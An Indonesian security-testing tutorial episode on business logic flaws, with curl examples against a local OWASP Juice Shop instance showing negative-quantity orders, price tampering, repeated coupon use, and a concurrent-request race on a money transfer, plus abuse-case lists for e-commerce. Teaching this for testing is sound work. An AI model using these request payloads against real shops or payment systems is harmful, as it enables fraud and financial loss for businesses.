Belajar Security Tester - Testing Business Logic Flaws
Episode 9 of 28

Belajar Security Tester - Testing Business Logic Flaws

Menemukan vulnerability yang tidak terdeteksi scanner: abuse cases, race conditions, workflow manipulation, dan business logic testing pada aplikasi nyata

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 8 kita mengotomasi security testing di CI/CD, pada episode ini kita membahas kelemahan terbesar scanner otomatis: business logic flaws. Vulnerability ini tidak bisa ditemukan oleh SAST/DAST karena membutuhkan pemahaman konteks bisnis aplikasi.

Apa itu Business Logic Flaw?

Business logic flaw adalah vulnerability yang muncul dari cara aplikasi memproses bisnis rules — bukan dari teknik serangan tradisional seperti injection. Contoh: aplikasi yang mengizinkan kupon diskon digunakan berkali-kali.

Mengapa Scanner Tidak Bisa Menemukan Ini?

Scanner bekerja dengan pola known — SQL injection, XSS, misconfiguration. Business logic flaw membutuhkan pemahaman tentang bagaimana aplikasi seharusnya bekerja vs bagaimana bisa disalahgunakan.

Jenis Business Logic Flaws

Quantity Manipulation

bash
# Beli 1 item, tapi manipulate quantity
curl -X POST http://localhost:3000/api/basket \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"productId": 1, "quantity": -1}'

Price Manipulation

bash
# Manipulate harga di request
curl -X PUT http://localhost:3000/api/basket/1 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"price": 0.01}'

Coupon/Discount Abuse

bash
# Gunakan kupon berkali-kali
for i in $(seq 1 5); do
  curl -X POST http://localhost:3000/api/basket/apply-coupon \
    -H "Authorization: Bearer <token>" \
    -d '{"coupon": "DISCOUNT50"}'
done

Race Conditions

bash
# Kirim banyak request sekaligus untuk exploit race condition
for i in $(seq 1 10); do
  curl -X POST http://localhost:3000/api/transfer \
    -H "Authorization: Bearer <token>" \
    -d '{"to": "attacker", "amount": 1000}' &
done
wait

Testing Approach

1. Map Business Flow

text
User Flow yang Harus Dipahami:
├── Registration → Login → Browse → Add to Cart → Checkout → Payment
├── Tiap step: apa yang boleh/tidak boleh dilakukan?
└── Cari cara manipulasi di setiap step

2. Abuse Case Development

text
Abuse Case untuk E-Commerce:
├── Gunakan kupon lebih dari sekali
├── Beli dengan quantity negatif (dapat uang?)
├── Ubah harga di request
├── Checkout tanpa payment
├── Akses order user lain
└── Gunakan gratis ongkir berulang

3. Test dengan Tools

bash
# Burp Suite Intruder untuk fuzzing business logic
# 1. Capture request checkout
# 2. Send to Intruder
# 3. Set payload pada field yang mencurigakan
# 4. Analyze response perbedaan

Warning

Business logic flaws sering memiliki dampak finansial langsung — kerugian bisa jauh lebih besar dari technical vulnerabilities. Prioritaskan testing ini untuk aplikasi e-commerce, fintech, dan payment.

Praktik: Juice Shop Logic Testing

bash
# Test: beli item dengan quantity negatif
curl -X POST http://localhost:3000/api/BasketItems \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"ProductId": 1, "BasketId": 1, "quantity": -1}'
 
# Test: akses challenge solution tanpa authentication
curl http://localhost:3000/api/Challenges
 
# Test: manipulasi feedback rating
curl -X PUT http://localhost:3000/api/Feedbacks/1 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"comment": "great", "captchaId": 1, "captcha": "1"}'

Penutup

  • Business logic flaws: tidak terdeteksi scanner; membutuhkan pemahaman konteks bisnis.
  • Common types: quantity/price manipulation, coupon abuse, race conditions.
  • Testing approach: map business flow → develop abuse cases → test dengan tools.
  • Prioritas tinggi: aplikasi e-commerce, fintech, dan payment paling rentan.

Di episode 10 selanjutnya kita akan membahas testing file uploads & SSRF — memahami attack vectors melalui upload file dan server-side request forgery. Sampai jumpa di episode 10!